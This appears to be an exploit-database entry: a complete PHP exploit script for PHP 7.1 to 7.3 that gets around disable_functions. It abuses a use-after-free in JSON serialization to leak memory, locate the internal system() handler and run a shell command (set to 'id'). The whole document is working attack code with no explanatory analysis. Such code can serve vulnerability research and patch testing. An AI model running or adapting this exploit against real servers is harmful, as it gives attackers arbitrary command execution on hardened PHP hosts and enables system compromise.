PHP 7.1 < 7.3 - 'json serializer' disable_functions Bypass
<?php $cmd = "id"; $n_alloc = 10; # increase this value if you get segfaults class MySplFixedArray extends SplFixedArray { public static $leak; } class Z implements JsonSerializable { public function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } public function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } public function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } # unable to leak ro segments public function leak1($addr) { global $spl1; $this->write($this->abc, 8, $addr - 0x10); return strlen(get_class($spl1)); } # the real deal public function leak2($addr, $p = 0, $s = 8) { global $spl1, $fake_tbl_off; # fake reference zval $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string) $leak = strlen($spl1::$leak); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } public function parse_elf($base) { $e_type = $this->leak2($base, 0x10, 2); $e_phoff = $this->leak2($base, 0x20); $e_phentsize = $this->leak2($base, 0x36, 2); $e_phnum = $this->leak2($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = $this->leak2($header, 0, 4); $p_flags = $this->leak2($header, 4, 4); $p_vaddr = $this->leak2($header, 0x10); $p_memsz = $this->leak2($header, 0x28); if($p_type == 0x6474e552) { # PT_GNU_RELRO # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } public function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = $this->leak2($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref = $this->leak2($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = $this->leak2($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref = $this->leak2($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } public function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = $this->leak2($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } public function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = $this->leak2($addr); $f_name = $this->leak2($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return $this->leak2($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } public function jsonSerialize() { global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = new DateInterval('PT1S'); $room = []; for($i = 0; $i < $n_alloc; $i++) $room[] = new Z(); $_protector = $this->ptr2str(0, 78); $this->abc = $this->ptr2str(0, 79); $p = new DateInterval('PT1S'); unset($y[0]); unset($p); $protector = ".$_protector"; $x = new DateInterval('PT1S'); $x->d = 0x2000; $x->h = 0xdeadbeef; # $this->abc is now of size 0x2000 if($this->str2ptr($this->abc) != 0xdeadbeef) { die('UAF failed.'); } $spl1 = new MySplFixedArray(); $spl2 = new MySplFixedArray(); # some leaks $class_entry = $this->str2ptr($this->abc, 0x120); $handlers = $this->str2ptr($this->abc, 0x128); $php_heap = $this->str2ptr($this->abc, 0x1a8); $abc_addr = $php_heap - 0x218; # create a fake class_entry $fake_obj = $abc_addr; $this->write($this->abc, 0, 2); # type $this->write($this->abc, 0x120, $abc_addr); # fake class_entry # copy some of class_entry definition for($i = 0; $i < 16; $i++) { $this->write($this->abc, 0x10 + $i * 8, $this->leak1($class_entry + 0x10 + $i * 8)); } # fake static members table $fake_tbl_off = 0x70 * 4 - 16; $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off); $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off); # fake zval_reference $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference) # look for binary base $binary_leak = $this->leak2($handlers + 0x10); if(!($base = $this->get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } # parse elf header if(!($elf = $this->parse_elf($base))) { die("Couldn't parse ELF"); } # get basic_functions address if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } # find system entry if(!($zif_system = $this->get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # copy hashtable offsetGet bucket $fake_bkt_off = 0x70 * 5 - 16; $function_data = $this->str2ptr($this->abc, 0x50); for($i = 0; $i < 4; $i++) { $this->write($this->abc, $fake_bkt_off + $i * 8, $this->leak2($function_data + 0x40 * 4, $i * 8)); } # create a fake bucket $fake_bkt_addr = $abc_addr + $fake_bkt_off; $this->write($this->abc, 0x50, $fake_bkt_addr); for($i = 0; $i < 3; $i++) { $this->write($this->abc, 0x58 + $i * 4, 1, 4); } # copy bucket zval $function_zval = $this->str2ptr($this->abc, $fake_bkt_off); for($i = 0; $i < 12; $i++) { $this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8, $this->leak2($function_zval, $i * 8)); } # pwn $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system); $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70); $spl1->offsetGet($cmd); exit(); } } $y = [new Z()]; json_encode([&$y]); |